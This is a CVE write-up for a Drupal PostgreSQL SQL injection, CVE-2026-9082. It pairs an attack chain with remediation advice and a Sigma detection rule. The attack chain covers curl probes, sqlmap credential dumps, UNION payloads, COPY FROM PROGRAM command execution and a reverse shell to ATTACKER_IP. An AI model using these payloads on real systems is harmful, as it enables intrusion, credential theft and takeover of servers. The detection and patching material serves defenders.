
cve poc
Type: SQL Injection (CWE-89) Affected Product: Drupal Core (Database Abstraction API) Drupal Advisory: SA-CORE-2026-004 Published: May 20, 2026 Severity: Highly Critical (Drupal 20/25 | NVD CVSS 6.5)
CVE-2026-9082 is a SQL Injection vulnerability in Drupal's core database abstraction API. Drupal's DB layer wraps PDO and sanitizes all queries before they reach the database. This vulnerability bypasses that sanitization for PostgreSQL backends only — specially crafted HTTP requests slip past the normalization logic, injecting attacker-controlled SQL fragments directly into database queries.
MySQL and MariaDB are not affected by the injection vector, though the patch release also bundles critical Symfony/Twig fixes that apply to all backends.
Prerequisite: Target must use PostgreSQL as its database backend.
Drupal's DB abstraction layer sanitizes values via parameterized queries/prepared statements, but relies on the query builder to provide trusted structural SQL (field names, operators, ORDER BY targets). The bug is in how the PostgreSQL driver handles certain input patterns when building queries — PostgreSQL's SQL dialect differs from MySQL in key ways:
||::COPY ... FROM PROGRAM commandA crafted request introduces characters/sequences that pass Drupal's value-level sanitization but are interpreted as structural SQL by PostgreSQL's parser. The attack surface is reachable without authentication via any endpoint that passes user-controlled parameters into DB queries (search, view filters, form submissions, JSON:API, etc.).
Attacker (unauthenticated)
|
|--> HTTP request with crafted parameter
| (e.g. search field, filter, form input)
|
v
Drupal DB Abstraction API
|
|--> Sanitization bypass (PostgreSQL-specific)
|
v
PostgreSQL executes injected SQL
|
|--> Information disclosure (dump entire DB)
|--> Privilege escalation (inject admin credentials)
|--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)
COPY TO PROGRAM 'cmd' if DB user has superuser privilegesDrupal's own warning: "exploits might be developed within hours or days of disclosure" (consistent with historical Drupal DB-layer CVEs like SA-CORE-2014-005 / Drupalgeddon).
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2-- -- increment until error
-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--
-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
# Composer (recommended)
composer update drupal/core drupal/core-recommended
# Verify version
php core/scripts/drupal --version
# OR via Drush
drush updb && drush cr
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false
Block patterns: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--
Ensure PostgreSQL binds only to localhost or a private interface; not internet-reachable.
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
CVE-2026-9082 is a zero-authentication SQL injection in Drupal Core targeting PostgreSQL backends. Despite a moderate NVD CVSS of 6.5, Drupal rates it 20/25 (Highly Critical) because unauthenticated access + PostgreSQL's COPY TO PROGRAM = direct RCE in misconfigured environments. The broad affected version range and bundled Twig SSTI fixes make this a critical, urgent patch for all Drupal sites, especially those on PostgreSQL in internet-facing deployments.
Recommended action: Update to the patched version for your branch immediately. Verify your DB application user is not a PostgreSQL superuser.
| Branch | Vulnerable | Patched |
|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
| Source | Signal |
|---|
| Web logs | pg_sleep, ::, UNION SELECT, --, COPY PROGRAM in query strings |
| PostgreSQL logs | Syntax errors correlating with web request timestamps |
| Drupal watchdog | DB exceptions from search/view/jsonapi endpoints |
| auditd | postgres spawning child processes (COPY TO PROGRAM) |
| Drupal users table | New administrator role rows with recent timestamps |